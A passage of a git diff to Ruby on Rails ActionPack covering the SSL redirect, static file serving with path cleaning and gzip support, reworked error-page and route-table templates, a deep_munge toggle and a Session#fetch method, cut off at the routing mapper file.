index 999c022535..0c7caef25d 100644
--- a/actionpack/lib/action_dispatch/middleware/ssl.rb
+++ b/actionpack/lib/action_dispatch/middleware/ssl.rb
@@ -32,11 +32,14 @@ module ActionDispatch
 
     private
       def redirect_to_https(request)
-        url        = URI(request.url)
-        url.scheme = "https"
-        url.host   = @host if @host
-        url.port   = @port if @port
-        headers    = { 'Content-Type' => 'text/html', 'Location' => url.to_s }
+        host = @host || request.host
+        port = @port || request.port
+
+        location = "https://#{host}"
+        location << ":#{port}" if port != 80
+        location << request.fullpath
+
+        headers = { 'Content-Type' => 'text/html', 'Location' => location }
 
         [301, headers, []]
       end
diff --git a/actionpack/lib/action_dispatch/middleware/static.rb b/actionpack/lib/action_dispatch/middleware/static.rb
index c6a7d9c415..002bf8b11a 100644
--- a/actionpack/lib/action_dispatch/middleware/static.rb
+++ b/actionpack/lib/action_dispatch/middleware/static.rb
@@ -2,49 +2,98 @@ require 'rack/utils'
 require 'active_support/core_ext/uri'
 
 module ActionDispatch
+  # This middleware returns a file's contents from disk in the body response.
+  # When initialized it can accept an optional 'Cache-Control' header which
+  # will be set when a response containing a file's contents is delivered.
+  #
+  # This middleware will render the file specified in `env["PATH_INFO"]`
+  # where the base path is in the +root+ directory. For example if the +root+
+  # is set to `public/` then a request with `env["PATH_INFO"]` of
+  # `assets/application.js` will return a response with contents of a file
+  # located at `public/assets/application.js` if the file exists. If the file
+  # does not exist a 404 "File not Found" response will be returned.
   class FileHandler
     def initialize(root, cache_control)
       @root          = root.chomp('/')
       @compiled_root = /^#{Regexp.escape(root)}/
-      headers = cache_control && { 'Cache-Control' => cache_control }
-      @file_server   = ::Rack::File.new(@root, headers)
+      headers        = cache_control && { 'Cache-Control' => cache_control }
+      @file_server = ::Rack::File.new(@root, headers)
     end
 
     def match?(path)
-      path = path.dup
+      path = URI.parser.unescape(path)
+      return false unless path.valid_encoding?
 
-      full_path = path.empty? ? @root : File.join(@root, escape_glob_chars(unescape_path(path)))
-      paths = "#{full_path}#{ext}"
+      paths = [path, "#{path}#{ext}", "#{path}/index#{ext}"].map { |v|
+        Rack::Utils.clean_path_info v
+      }
 
-      matches = Dir[paths]
-      match = matches.detect { |m| File.file?(m) }
-      if match
-        match.sub!(@compiled_root, '')
-        ::Rack::Utils.escape(match)
+      if match = paths.detect { |p|
+        path = File.join(@root, p)
+        begin
+          File.file?(path) && File.readable?(path)
+        rescue SystemCallError
+          false
+        end
+
+      }
+        return ::Rack::Utils.escape(match)
       end
     end
 
     def call(env)
-      @file_server.call(env)
-    end
+      path      = env['PATH_INFO']
+      gzip_path = gzip_file_path(path)
 
-    def ext
-      @ext ||= begin
-        ext = ::ActionController::Base.default_static_extension
-        "{,#{ext},/index#{ext}}"
+      if gzip_path && gzip_encoding_accepted?(env)
+        env['PATH_INFO']            = gzip_path
+        status, headers, body       = @file_server.call(env)
+        headers['Content-Encoding'] = 'gzip'
+        headers['Content-Type']     = content_type(path)
+      else
+        status, headers, body = @file_server.call(env)
       end
-    end
 
-    def unescape_path(path)
-      URI.parser.unescape(path)
-    end
+      headers['Vary'] = 'Accept-Encoding' if gzip_path
 
-    def escape_glob_chars(path)
-      path.force_encoding('binary') if path.respond_to? :force_encoding
-      path.gsub(/[*?{}\[\]]/, "\\\\\\&")
+      return [status, headers, body]
+    ensure
+      env['PATH_INFO'] = path
     end
+
+    private
+      def ext
+        ::ActionController::Base.default_static_extension
+      end
+
+      def content_type(path)
+        ::Rack::Mime.mime_type(::File.extname(path), 'text/plain')
+      end
+
+      def gzip_encoding_accepted?(env)
+        env['HTTP_ACCEPT_ENCODING'] =~ /\bgzip\b/i
+      end
+
+      def gzip_file_path(path)
+        can_gzip_mime = content_type(path) =~ /\A(?:text\/|application\/javascript)/
+        gzip_path     = "#{path}.gz"
+        if can_gzip_mime && File.exist?(File.join(@root, ::Rack::Utils.unescape(gzip_path)))
+          gzip_path
+        else
+          false
+        end
+      end
   end
 
+  # This middleware will attempt to return the contents of a file's body from
+  # disk in the response.  If a file is not found on disk, the request will be
+  # delegated to the application stack. This middleware is commonly initialized
+  # to serve assets from a server's `public/` directory.
+  #
+  # This middleware verifies the path to ensure that only files
+  # living in the root directory can be rendered. A request cannot
+  # produce a directory traversal using this middleware. Only 'GET' and 'HEAD'
+  # requests will result in a file being returned.
   class Static
     def initialize(app, path, cache_control=nil)
       @app = app
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
index db219c8fa9..49b1e83551 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.html.erb
@@ -5,20 +5,8 @@
   <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%= @exception.describe_blame %></code></pre>
 <% end %>
 
-<%
-  clean_params = @request.filtered_parameters.clone
-  clean_params.delete("action")
-  clean_params.delete("controller")
-
-  request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
-
-  def debug_hash(object)
-    object.to_hash.sort_by { |k, _| k.to_s }.map { |k, v| "#{k}: #{v.inspect rescue $!.message}" }.join("\n")
-  end unless self.class.method_defined?(:debug_hash)
-%>
-
 <h2 style="margin-top: 30px">Request</h2>
-<p><b>Parameters</b>:</p> <pre><%= request_dump %></pre>
+<p><b>Parameters</b>:</p> <pre><%= debug_params(@request.filtered_parameters) %></pre>
 
 <div class="details">
   <div class="summary"><a href="#" onclick="return toggleSessionDump()">Toggle session dump</a></div>
@@ -31,4 +19,4 @@
 </div>
 
 <h2 style="margin-top: 30px">Response</h2>
-<p><b>Headers</b>:</p> <pre><%= defined?(@response) ? @response.headers.inspect.gsub(',', ",\n") : 'None' %></pre>
+<p><b>Headers</b>:</p> <pre><%= debug_headers(defined?(@response) ? @response.headers : {}) %></pre>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
index 38429cb78e..e7b913bbe4 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_source.erb
@@ -1,25 +1,27 @@
-<% if @source_extract %>
-<div class="source">
-<div class="info">
-  Extracted source (around line <strong>#<%= @line_number %></strong>):
-</div>
-<div class="data">
-  <table cellpadding="0" cellspacing="0" class="lines">
-      <tr>
-        <td>
-          <pre class="line_numbers">
-            <% @source_extract.keys.each do |line_number| %>
+<% @source_extracts.each_with_index do |source_extract, index| %>
+  <% if source_extract[:code] %>
+    <div class="source <%="hidden" if @show_source_idx != index%>" id="frame-source-<%=index%>">
+      <div class="info">
+        Extracted source (around line <strong>#<%= source_extract[:line_number] %></strong>):
+      </div>
+      <div class="data">
+        <table cellpadding="0" cellspacing="0" class="lines">
+          <tr>
+            <td>
+              <pre class="line_numbers">
+                <% source_extract[:code].each_key do |line_number| %>
 <span><%= line_number -%></span>
-            <% end %>
-          </pre>
-        </td>
+                <% end %>
+              </pre>
+            </td>
 <td width="100%">
 <pre>
-<% @source_extract.each do |line, source| -%><div class="line<%= " active" if line == @line_number -%>"><%= source -%></div><% end -%>
+<% source_extract[:code].each do |line, source| -%><div class="line<%= " active" if line == source_extract[:line_number] -%>"><%= source -%></div><% end -%>
 </pre>
 </td>
-    </tr>
-  </table>
-</div>
-</div>
+          </tr>
+        </table>
+      </div>
+    </div>
+  <% end %>
 <% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
index b181909bff..ab57b11c7d 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.html.erb
@@ -1,9 +1,4 @@
-<%
-   traces = { "Application Trace" => @application_trace,
-              "Framework Trace"   => @framework_trace,
-              "Full Trace"        => @full_trace }
-   names = traces.keys
-%>
+<% names = @traces.keys %>
 
 <p><code>Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %></code></p>
 
@@ -16,9 +11,42 @@
     <a href="#" onclick="<%= hide.join %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
   <% end %>
 
-  <% traces.each do |name, trace| %>
-    <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == "Application Trace") ? 'block' : 'none' %>;">
-      <pre><code><%= trace.join "\n" %></code></pre>
+  <% @traces.each do |name, trace| %>
+    <div id="<%= name.gsub(/\s/, '-') %>" style="display: <%= (name == @trace_to_show) ? 'block' : 'none' %>;">
+      <pre><code><% trace.each do |frame| %><a class="trace-frames" data-frame-id="<%= frame[:id] %>" href="#"><%= frame[:trace] %></a><br><% end %></code></pre>
     </div>
   <% end %>
+
+  <script type="text/javascript">
+    var traceFrames = document.getElementsByClassName('trace-frames');
+    var selectedFrame, currentSource = document.getElementById('frame-source-0');
+
+    // Add click listeners for all stack frames
+    for (var i = 0; i < traceFrames.length; i++) {
+      traceFrames[i].addEventListener('click', function(e) {
+        e.preventDefault();
+        var target = e.target;
+        var frame_id = target.dataset.frameId;
+
+        if (selectedFrame) {
+          selectedFrame.className = selectedFrame.className.replace("selected", "");
+        }
+
+        target.className += " selected";
+        selectedFrame = target;
+
+        // Change the extracted source code
+        changeSourceExtract(frame_id);
+      });
+
+      function changeSourceExtract(frame_id) {
+        var el = document.getElementById('frame-source-' + frame_id);
+        if (currentSource && el) {
+          currentSource.className += " hidden";
+          el.className = el.className.replace(" hidden", "");
+          currentSource = el;
+        }
+      }
+    }
+  </script>
 </div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
index d4af5c9b06..c0b53068f7 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.text.erb
@@ -1,15 +1,9 @@
-<%
-  traces = { "Application Trace" => @application_trace,
-             "Framework Trace"   => @framework_trace,
-             "Full Trace"        => @full_trace }
-%>
-
 Rails.root: <%= defined?(Rails) && Rails.respond_to?(:root) ? Rails.root : "unset" %>
 
-<% traces.each do |name, trace| %>
+<% @traces.each do |name, trace| %>
 <% if trace.any? %>
 <%= name %>
-<%= trace.join("\n") %>
+<%= trace.map { |t| t[:trace] }.join("\n") %>
 
 <% end %>
 <% end %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
index f154021ae6..f154021ae6 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.html.erb
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
new file mode 100644
index 0000000000..603de54b8b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.text.erb
@@ -0,0 +1,9 @@
+<%= @exception.class.to_s %><%
+  if @request.parameters['controller']
+%> in <%= @request.parameters['controller'].camelize %>Controller<% if @request.parameters['action'] %>#<%= @request.parameters['action'] %><% end %>
+<% end %>
+
+<%= @exception.message %>
+<%= render template: "rescues/_source" %>
+<%= render template: "rescues/_trace" %>
+<%= render template: "rescues/_request_and_response" %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
index bc5d03dc10..e0509f56f4 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb
@@ -116,9 +116,15 @@
       background-color: #FFCCCC;
     }
 
+    .hidden {
+      display: none;
+    }
+
     a { color: #980905; }
     a:visited { color: #666; }
+    a.trace-frames { color: #666; }
     a:hover { color: #C52F24; }
+    a.trace-frames.selected { color: #C52F24 }
 
     <%= yield :style %>
   </style>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
index 5c016e544e..2a65fd06ad 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
@@ -4,4 +4,8 @@
 
 <div id="container">
   <h2><%= h @exception.message %></h2>
+
+  <%= render template: "rescues/_source" %>
+  <%= render template: "rescues/_trace" %>
+  <%= render template: "rescues/_request_and_response" %>
 </div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
index 7e9cedb95e..55dd5ddc7b 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
@@ -27,4 +27,6 @@
 
     <%= @routes_inspector.format(ActionDispatch::Routing::HtmlTableFormatter.new(self)) %>
   <% end %>
+
+  <%= render template: "rescues/_request_and_response" %>
 </div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
index 027a0f5b3e..c1e8b6cae3 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
@@ -1,4 +1,3 @@
-<% @source_extract = @exception.source_extract(0, :html) %>
 <header>
   <h1>
     <%= @exception.original_exception.class.to_s %> in
@@ -12,29 +11,7 @@
   </p>
   <pre><code><%= h @exception.message %></code></pre>
 
-  <div class="source">
-    <div class="info">
-      <p>Extracted source (around line <strong>#<%= @exception.line_number %></strong>):</p>
-    </div>
-    <div class="data">
-    <table cellpadding="0" cellspacing="0" class="lines">
-      <tr>
-        <td>
-          <pre class="line_numbers">
-            <% @source_extract.keys.each do |line_number| %>
-<span><%= line_number -%></span>
-            <% end %>
-          </pre>
-        </td>
-<td width="100%">
-<pre>
-<% @source_extract.each do |line, source| -%><div class="line<%= " active" if line == @exception.line_number -%>"><%= source -%></div><% end -%>
-</pre>
-</td>
-    </tr>
-  </table>
-</div>
-</div>
+  <%= render template: "rescues/_source" %>
 
   <p><%= @exception.sub_template_message %></p>
 
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
index 5da21d9784..77bcd26726 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
@@ -1,4 +1,3 @@
-<% @source_extract = @exception.source_extract(0, :html) %>
 <%= @exception.original_exception.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
 
 Showing <%= @exception.file_name %> where line #<%= @exception.line_number %> raised:
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
index 95461fa693..5cee0b5932 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -1,24 +1,44 @@
 <% content_for :style do %>
   #route_table {
-    margin: 0 auto 0;
+    margin: 0;
     border-collapse: collapse;
   }
 
-  #route_table td {
-    padding: 0 30px;
+  #route_table thead tr {
+    border-bottom: 2px solid #ddd;
+  }
+
+  #route_table thead tr.bottom {
+    border-bottom: none;
   }
 
-  #route_table tr.bottom th {
-    padding-bottom: 10px;
+  #route_table thead tr.bottom th {
+    padding: 10px 0;
     line-height: 15px;
   }
 
-  #route_table .matched_paths {
+  #route_table tbody tr {
+    border-bottom: 1px solid #ddd;
+  }
+
+  #route_table tbody tr:nth-child(odd) {
+    background: #f2f2f2;
+  }
+
+  #route_table tbody.exact_matches,
+  #route_table tbody.fuzzy_matches {
     background-color: LightGoldenRodYellow;
+    border-bottom: solid 2px SlateGrey;
   }
 
-  #route_table .matched_paths {
-    border-bottom: solid 3px SlateGrey;
+  #route_table tbody.exact_matches tr,
+  #route_table tbody.fuzzy_matches tr {
+    background: none;
+    border-bottom: none;
+  }
+
+  #route_table td {
+    padding: 4px 30px;
   }
 
   #path_search {
@@ -45,13 +65,15 @@
       <th><%# HTTP Verb %>
       </th>
       <th><%# Path %>
-        <%= search_field(:path, nil, id: 'path_search', placeholder: "Path Match") %>
+        <%= search_field(:path, nil, id: 'search', placeholder: "Path Match") %>
       </th>
       <th><%# Controller#action %>
       </th>
     </tr>
   </thead>
-  <tbody class='matched_paths' id='matched_paths'>
+  <tbody class='exact_matches' id='exact_matches'>
+  </tbody>
+  <tbody class='fuzzy_matches' id='fuzzy_matches'>
   </tbody>
   <tbody>
     <%= yield %>
@@ -59,6 +81,7 @@
 </table>
 
 <script type='text/javascript'>
+  // Iterates each element through a function
   function each(elems, func) {
     if (!elems instanceof Array) { elems = [elems]; }
     for (var i = 0, len = elems.length; i < len; i++) {
@@ -66,77 +89,110 @@
     }
   }
 
-  function setValOn(elems, val) {
-    each(elems, function(elem) {
-      elem.innerHTML = val;
-    });
+  // Sets innerHTML for an element
+  function setContent(elem, text) {
+    elem.innerHTML = text;
   }
 
-  function onClick(elems, func) {
-    each(elems, function(elem) {
-      elem.onclick = func;
-    });
-  }
+  // Enables path search functionality
+  function setupMatchPaths() {
+    // Check if the user input (sanitized as a path) matches the regexp data attribute
+    function checkExactMatch(section, elem, value) {
+      var string = sanitizePath(value),
+          regexp = elem.getAttribute("data-regexp");
 
-  // Enables functionality to toggle between `_path` and `_url` helper suffixes
-  function setupRouteToggleHelperLinks() {
-    var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
-    onClick(toggleLinks, function(){
-      var helperTxt   = this.getAttribute("data-route-helper"),
-          helperElems = document.querySelectorAll('[data-route-name] span.helper');
-      setValOn(helperElems, helperTxt);
-    });
-  }
+      showMatch(string, regexp, section, elem);
+    }
 
-  // takes an array of elements with a data-regexp attribute and
-  // passes their their parent <tr> into the callback function
-  // if the regexp matchs a given path
-  function eachElemsForPath(elems, path, func) {
-    each(elems, function(e){
-      var reg = e.getAttribute("data-regexp");
-      if (path.match(RegExp(reg))) {
-        func(e.parentNode.cloneNode(true));
-      }
-    })
-  }
+    // Check if the route path data attribute contains the user input
+    function checkFuzzyMatch(section, elem, value) {
+      var string = elem.getAttribute("data-route-path"),
+          regexp = value;
 
-  // Ensure path always starts with a slash "/" and remove params or fragments
-  function sanitizePath(path) {
-    var path = path.charAt(0) == '/' ? path : "/" + path;
-    return path.replace(/\#.*|\?.*/, '');
-  }
+      showMatch(string, regexp, section, elem);
+    }
 
-  // Enables path search functionality
-  function setupMatchPaths() {
-    var regexpElems     = document.querySelectorAll('#route_table [data-regexp]'),
-        pathElem        = document.querySelector('#path_search'),
-        selectedSection = document.querySelector('#matched_paths'),
-        noMatchText     = '<tr><th colspan="4">None</th></tr>';
+    // Display the parent <tr> element in the appropriate section when there's a match
+    function showMatch(string, regexp, section, elem) {
+      if(string.match(RegExp(regexp))) {
+        section.appendChild(elem.parentNode.cloneNode(true));
+      }
+    }
+
+    // Check if there are any matched results in a section
+    function checkNoMatch(section, defaultText, noMatchText) {
+      if (section.innerHTML === defaultText) {
+        setContent(section, defaultText + noMatchText);
+      }
+    }
 
+    // Ensure path always starts with a slash "/" and remove params or fragments
+    function sanitizePath(path) {
+      var path = path.charAt(0) == '/' ? path : "/" + path;
+      return path.replace(/\#.*|\?.*/, '');
+    }
 
-    // Remove matches if no path is present
-    pathElem.onblur = function(e) {
-      if (pathElem.value === "") selectedSection.innerHTML = "";
+    var regexpElems     = document.querySelectorAll('#route_table [data-regexp]'),
+        searchElem      = document.querySelector('#search'),
+        exactMatches    = document.querySelector('#exact_matches'),
+        fuzzyMatches    = document.querySelector('#fuzzy_matches');
+
+    // Remove matches when no search value is present
+    searchElem.onblur = function(e) {
+      if (searchElem.value === "") {
+        setContent(exactMatches, "");
+        setContent(fuzzyMatches, "");
+      }
     }
 
     // On key press perform a search for matching paths
-    pathElem.onkeyup = function(e){
-      var path        = sanitizePath(pathElem.value),
-          defaultText = '<tr><th colspan="4">Paths Matching (' + path + '):</th></tr>';
+    searchElem.onkeyup = function(e){
+      var userInput         = searchElem.value,
+          defaultExactMatch = '<tr><th colspan="4">Paths Matching (' + escape(sanitizePath(userInput)) +'):</th></tr>',
+          defaultFuzzyMatch = '<tr><th colspan="4">Paths Containing (' + escape(userInput) +'):</th></tr>',
+          noExactMatch      = '<tr><th colspan="4">No Exact Matches Found</th></tr>',
+          noFuzzyMatch      = '<tr><th colspan="4">No Fuzzy Matches Found</th></tr>';
 
       // Clear out results section
-      selectedSection.innerHTML= defaultText;
+      setContent(exactMatches, defaultExactMatch);
+      setContent(fuzzyMatches, defaultFuzzyMatch);
+
+      // Display exact matches and fuzzy matches
+      each(regexpElems, function(elem) {
+        checkExactMatch(exactMatches, elem, userInput);
+        checkFuzzyMatch(fuzzyMatches, elem, userInput);
+      })
+
+      // Display 'No Matches' message when no matches are found
+      checkNoMatch(exactMatches, defaultExactMatch, noExactMatch);
+      checkNoMatch(fuzzyMatches, defaultFuzzyMatch, noFuzzyMatch);
+    }
+  }
 
-      // Display matches if they exist
-      eachElemsForPath(regexpElems, path, function(e){
-        selectedSection.appendChild(e);
+  // Enables functionality to toggle between `_path` and `_url` helper suffixes
+  function setupRouteToggleHelperLinks() {
+
+    // Sets content for each element
+    function setValOn(elems, val) {
+      each(elems, function(elem) {
+        setContent(elem, val);
       });
+    }
 
-      // If no match present, tell the user
-      if (selectedSection.innerHTML === defaultText) {
-        selectedSection.innerHTML = selectedSection.innerHTML + noMatchText;
-      }
+    // Sets onClick event for each element
+    function onClick(elems, func) {
+      each(elems, function(elem) {
+        elem.onclick = func;
+      });
     }
+
+    var toggleLinks = document.querySelectorAll('#route_table [data-route-helper]');
+    onClick(toggleLinks, function(){
+      var helperTxt   = this.getAttribute("data-route-helper"),
+          helperElems = document.querySelectorAll('[data-route-name] span.helper');
+
+      setValOn(helperElems, helperTxt);
+    });
   }
 
   setupMatchPaths();
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 2dfaab3587..ddeea24bb3 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -16,6 +16,7 @@ module ActionDispatch
     config.action_dispatch.signed_cookie_salt = 'signed cookie'
     config.action_dispatch.encrypted_cookie_salt = 'encrypted cookie'
     config.action_dispatch.encrypted_signed_cookie_salt = 'signed encrypted cookie'
+    config.action_dispatch.perform_deep_munge = true
 
     config.action_dispatch.default_headers = {
       'X-Frame-Options' => 'SAMEORIGIN',
@@ -28,6 +29,7 @@ module ActionDispatch
     initializer "action_dispatch.configure" do |app|
       ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
       ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+      ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
       ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
       ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
 
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index 7bc812fd22..973627f106 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -7,6 +7,9 @@ module ActionDispatch
       ENV_SESSION_KEY         = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
       ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
 
+      # Singleton object used to determine if an optional param wasn't specified
+      Unspecified = Object.new
+
       def self.create(store, env, default_options)
         session_was = find env
         session     = Request::Session.new(store, env)
@@ -127,6 +130,15 @@ module ActionDispatch
         @delegate.delete key.to_s
       end
 
+      def fetch(key, default=Unspecified, &block)
+        load_for_read!
+        if default == Unspecified
+          @delegate.fetch(key.to_s, &block)
+        else
+          @delegate.fetch(key.to_s, default, &block)
+        end
+      end
+
       def inspect
         if loaded?
           super
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
index 8b43cdada8..1c9371d89c 100644
--- a/actionpack/lib/action_dispatch/request/utils.rb
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -1,18 +1,25 @@
 module ActionDispatch
   class Request < Rack::Request
     class Utils # :nodoc:
+
+      mattr_accessor :perform_deep_munge
+      self.perform_deep_munge = true
+
       class << self
         # Remove nils from the params hash
-        def deep_munge(hash)
+        def deep_munge(hash, keys = [])
+          return hash unless perform_deep_munge
+
           hash.each do |k, v|
+            keys << k
             case v
             when Array
-              v.grep(Hash) { |x| deep_munge(x) }
+              v.grep(Hash) { |x| deep_munge(x, keys) }
               v.compact!
-              hash[k] = nil if v.empty?
             when Hash
-              deep_munge(v)
+              deep_munge(v, keys)
             end
+            keys.pop
           end
 
           hash
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
index a9ac2bce1d..ce03164ca9 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -1,6 +1,7 @@
 # encoding: UTF-8
 require 'active_support/core_ext/object/to_param'
 require 'active_support/core_ext/regexp'
+require 'active_support/dependencies/autoload'
 
 module ActionDispatch
   # The routing module provides URL rewriting in native Ruby. It's a way to
@@ -11,7 +12,7 @@ module ActionDispatch
   # Think of creating routes as drawing a map for your requests. The map tells
   # them where to go based on some predefined pattern:
   #
-  #   AppName::Application.routes.draw do
+  #   Rails.application.routes.draw do
   #     Pattern 1 tells some request to go to one place
   #     Pattern 2 tell them to go to another
   #     ...
diff --git a/actionpack/lib/action_dispatch/routing/endpoint.rb b/actionpack/lib/action_dispatch/routing/endpoint.rb
new file mode 100644
index 0000000000..88aa13c3e8
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/endpoint.rb
@@ -0,0 +1,10 @@
+module ActionDispatch
+  module Routing
+    class Endpoint # :nodoc:
+      def dispatcher?;   false; end
+      def redirect?;     false; end
+      def matches?(req); true;  end
+      def app;           self;  end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index cffb814e1e..df5ebb6751 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -5,22 +5,15 @@ module ActionDispatch
   module Routing
     class RouteWrapper < SimpleDelegator
       def endpoint
-        rack_app ? rack_app.inspect : "#{controller}##{action}"
+        app.dispatcher? ? "#{controller}##{action}" : rack_app.inspect
       end
 
       def constraints
         requirements.except(:controller, :action)
       end
 
-      def rack_app(app = self.app)
-        @rack_app ||= begin
-          class_name = app.class.name.to_s
-          if class_name == "ActionDispatch::Routing::Mapper::Constraints"
-            rack_app(app.app)
-          elsif ActionDispatch::Routing::Redirect === app || class_name !~ /^ActionDispatch::Routing/
-            app
-          end
-        end
+      def rack_app
+        app.app
       end
 
       def verb
@@ -55,7 +48,7 @@ module ActionDispatch
       def reqs
         @reqs ||= begin
           reqs = endpoint
-          reqs += " #{constraints.to_s}" unless constraints.empty?
+          reqs += " #{constraints}" unless constraints.empty?
           reqs
         end
       end
@@ -69,11 +62,11 @@ module ActionDispatch
       end
 
       def internal?
-        controller.to_s =~ %r{\Arails/(info|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}}
+        controller.to_s =~ %r{\Arails/(info|mailers|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}\z}
       end
 
       def engine?
-        rack_app && rack_app.respond_to?(:routes)
+        rack_app.respond_to?(:routes)
       end
     end
 
@@ -121,9 +114,7 @@ module ActionDispatch
       def collect_routes(routes)
         routes.collect do |route|
           RouteWrapper.new(route)
-        end.reject do |route|
-          route.internal?
-        end.collect do |route|
+        end.reject(&:internal?).collect do |route|
           collect_engine_routes(route)
 
           { name:   route.name,
@@ -179,7 +170,8 @@ module ActionDispatch
 
       private
         def draw_section(routes)
-          name_width, verb_width, path_width = widths(routes)
+          header_lengths = ['Prefix', 'Verb', 'URI Pattern'].map(&:length)
+          name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
 
           routes.map do |r|
             "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
@@ -193,9 +185,9 @@ module ActionDispatch
         end
 
         def widths(routes)
-          [routes.map { |r| r[:name].length }.max,
-           routes.map { |r| r[:verb].length }.max,
-           routes.map { |r| r[:path].length }.max]
+          [routes.map { |r| r[:name].length }.max || 0,
+           routes.map { |r| r[:verb].length }.max || 0,
+           routes.map { |r| r[:path].length }.max || 0]
         end
     end
 
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 288ce3e867..f2c9e7b1a0 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
